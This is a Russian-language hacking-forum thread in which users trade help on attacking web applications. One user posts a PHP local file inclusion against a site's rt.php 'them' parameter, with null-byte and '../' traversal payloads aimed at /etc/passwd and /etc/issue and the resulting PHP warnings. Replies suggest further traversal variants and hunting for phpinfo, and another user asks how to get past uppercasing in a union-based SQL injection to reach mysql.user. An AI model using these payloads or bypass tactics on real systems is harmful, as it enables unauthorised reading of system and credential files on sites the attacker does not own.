Вопросы по уязвимостям

[nomad]

Нет, я с base64_decode сделал

[smirk]

Наверно глупый вопрос, но все же
Есть пхп инъекция:
http://site/rt.php?them=11'

Warning: include(rt11'.inc): failed to open stream: No such file or directory in /home/site/public_html/rt.php on line 42

Warning: include(rt11'.inc): failed to open stream: No such file or directory in /home/site/public_html/rt.php on line 42

Warning: include(): Failed opening 'rt11'.inc' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/site/public_html/rt.php on line 42

думал прочитать /etc/passwd , нулевой байт работает, все норм. но фишка в том, что в начало дописывается префикс rt
http://site/rt.php?them=/etc/passwd%00

Warning: include(): Failed opening 'rt/etc/passwd' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/site/public_html/rt.php on line 42

Возможно ли это обойти? По логике можно прочитать rt.php , но
http://site/rt.php?them=.php%00

Warning: include(): Failed opening 'rt.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/site/public_html/rt.php on line 42

Заранее спасибо.

[VirusVFV]

Есть union based SQL-инъекция. Но проблема в том, что перед отправкой запроса производится перевод параметра в верхний регистр.
Соответственно при указании таблицы - mysql.user преобразуется в MYSQL.USER и запрос заканчивается ошибкой.
Сталкивался ли кто-нибудь с подобными проблемами и как обходили ?
спс.

[m0Hze]

Сообщение от smirk

Наверно глупый вопрос, но все же
Есть пхп инъекция:
http://site/rt.php?them=11'


думал прочитать /etc/passwd , нулевой байт работает, все норм. но фишка в том, что в начало дописывается префикс rt
http://site/rt.php?them=/etc/passwd%00


Возможно ли это обойти? По логике можно прочитать rt.php , но
http://site/rt.php?them=.php%00

Заранее спасибо.

them=/../../../../../../../../../../../etc/passwd%00

[smirk]

Сообщение от m0Hze

them=/../../../../../../../../../../../etc/passwd%00

Я пробовал так обойти, но
http://site/rt.php?them=/../../../../../../../../../../../etc/passwd%00

Warning: include(): Failed opening 'rt/../../../../../../../../../../../etc/passwd' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/site/public_html/rt.php on line 42

[m0Hze]

А все понял, чтото не обралтил внимания на наличие слеша вначале.
Почитай статью про инклуды здесь, там есть инфа по этой теме если не ошибаюсь, про относительные и абсолютные пути.

[HeartLESS]

smirk, а попробуй /etc/issue подключить.
Тут же не должно быть разницы с относительным или абсолютным путем.
denwer так не ругается, но хз как себя XAMPP поведет, вдруг вообще винда?
Узнай ось, короче.
И ищи i.php =)

[smirk]

Сообщение от HeartLESS

smirk, а попробуй /etc/issue подключить.
Тут же не должно быть разницы с относительным или абсолютным путем.
denwer так не ругается, но хз как себя XAMPP поведет, вдруг вообще винда?
Узнай ось, короче.
И ищи i.php =)

http://site/rt.php?them=/etc/issue%00

Warning: include(): Failed opening 'rt/etc/issue' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/site/public_html/rt.php on line 42

Ось: линукс, сервер: апач
phpinfo есть)

[Beched]

Вы наркоманы, нулл-байт давно не работает

[HeartLESS]

Сообщение от Beched

Вы наркоманы, нулл-байт давно не работает

Пес, мало ли, не все нуллбайты одинаково не работают

smirk:

http://site/rt.php?them=../../../../../../../../etc/issue%00

сделай.